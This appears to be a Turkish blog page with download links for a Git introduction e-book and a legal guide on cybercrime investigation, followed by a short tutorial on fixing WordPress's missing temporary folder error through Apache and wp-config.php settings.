E-Kitap: Ali Özgür - Git 101 - Git Versiyon Kontrol Sistemine Giriş

Ali Özgür - Git 101 - Git Versiyon Kontrol Sistemine Giriş

Dosyayı İndir Ali-Özgür-Git-101-Git-Versiyon-Kontrol-Sistemine-Giriş.pdf – 3 MB

Bilişim Suçları Uygulama Hukuku

BİLİŞİM SUÇLARI, SORUŞTURMA VE KOVUŞTURMA YÖNTEMLERİ İLE İNTERNET VE İLETİŞİM HUKUKU UYGULAMA REHBERİ

Dosyayı İndir Bilisim_Suclari_Sorusturma_ve_Kovusturma.pdf – 15 MB

Wordress “WordPress Missing Temporary folder” Hatasının Giderilmesi

Mesajda WordPress geçici dosyaların depolandığı dizine ulaşamıyor diyor. Bu dizin genellikle /tmp (root dizin altında). Eğer benim gibi Apache’nin VirtualHost/Directory direktifine php_admin_value open_basedir seçeneğini eklediyseniz hiçbir PHP bu dizinin dışına çıkamayacak ve WordPress doğal olarak bu hatayı verecektir.

Çözüm için;

  1. Directory direktifi olarak şunu ekleyin:
    php_admin_value upload_tmp_dir “/home/XXXX/www/wp-content/temp”
  2. Yukarıdaki patikayı XXXX‘i kendinize göre düzenlemeyi unutmayın.
  3. Patikanın işaret ettiği temp dizinini oluşturun ve erişim izinlerini ayarlayın.
  4. chown ve chmod ile sahiplik ve erişim izinlerini komşu dizin ile aynı yapın yeterli olacaktır.
  5. Artık sıra WordPress’e geçici dosyalar için bu temp dizini kullanması gerektiğini söylemeye geldi. wp-config.php dosyasına şu satırı ekleyin:
    define(‘WP_TEMP_DIR’, dirname(FILE) . ‘/wp-content/temp/’);
  6. Ayarların geçerli olması için Apache’yi yeniden başlatın:
    sudo systemctl restart apache2